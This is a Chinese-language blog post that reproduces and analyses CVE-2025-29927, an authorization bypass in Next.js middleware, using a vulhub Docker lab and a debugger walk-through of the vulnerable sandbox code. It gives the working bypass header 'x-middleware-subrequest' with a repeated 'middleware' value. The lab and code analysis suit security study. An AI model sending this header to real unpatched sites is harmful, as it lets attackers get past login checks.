CVE-2025-29927 Next.js 中间件权限绕过漏洞复现
This_is_Y Lv6

受影响的版本

Next.js 15.x < 15.2.3

Next.js 14.x < 14.2.25

Next.js 13.x < 13.5.9

环境

使用vulhub中的docker环境,https://github.com/vulhub/vulhub/tree/master/next.js/CVE-2025-29927

  • docker compose up -d

image-20250506220309002

复现

访问首页,需要登录,

image-20250506224252363

登录数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /?_rsc=ak96a HTTP/1.1
Host: 172.29.198.146:3000
RSC: 1
Next-Url: /login
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Flogin%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Accept: */*
Referer: http://172.29.198.146:3000/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: next_username=admin; next_password=1
Connection: keep-alive

image-20250506224312123

登录成功如下:

image-20250506224344560

在http请求头中加入,即可绕过登录认证

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

image-20250506224521437

分析

调试环境搭建

本地调试环境,可以从https://github.com/vulhub/vulhub/tree/master/base/next.js/15.2.2下载,或者像我一样,在docker起好环境后,cp出来

image-20250508154501640

vscode打开,先运行yarn start –port 8081看一下能不能正常运行

image-20250508155826568

可以正常运行后,在目录下建一个.vscode/launch.json文件,内容为

image-20250508160022510

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Launch via Yarn",
"runtimeExecutable": "yarn",
"runtimeArgs": ["start", "--port", "8083"],
"skipFiles": ["<node_internals>/**"],
"sourceMaps": true,
"cwd": "${workspaceFolder}"
}
]
}

之后可以看到在运行和调试页面,有一个Launch via Yarn,

image-20250508155947382

点击运行后,在调试控制台中可以看到运行日志

image-20250508160125805

在代码中打上断点,发送数据包,就可以正常断点下来了

image-20250508160601385

image-20250508160657284

image-20250508160625808

不过这里有个问题是,调试时的代码是app/.next/server/middleware.js,而不是app/middleware.js。不过问题不大,

sandbox.js的路径为app/node_modules/next/dist/server/web/sandbox/sandbox.js,

​ 而不是app/node_modules/next/dist/esm/server/web/sandbox/sandbox.js

image-20250508160801043

漏洞代码

漏洞成因的关键点在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}

代码中const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);这一行的作用是遍历请求头字段x-middleware-subrequest,计算其中等于params.name的元素数量,而params.name的值,通过追踪代码,可以定位到是在

/app/.next/server/middleware-manifest.json这个文件中定义的

image-20250508170107707

image-20250508170151525

因此只需要构造这样一个请求头字段,即可绕过中间件中的所有逻辑

  • x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

参考

https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

https://t.zsxq.com/ueXPG

https://mp.weixin.qq.com/s/cge_zC3kd6BkaxHXXNvleQ

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
访客数 访问量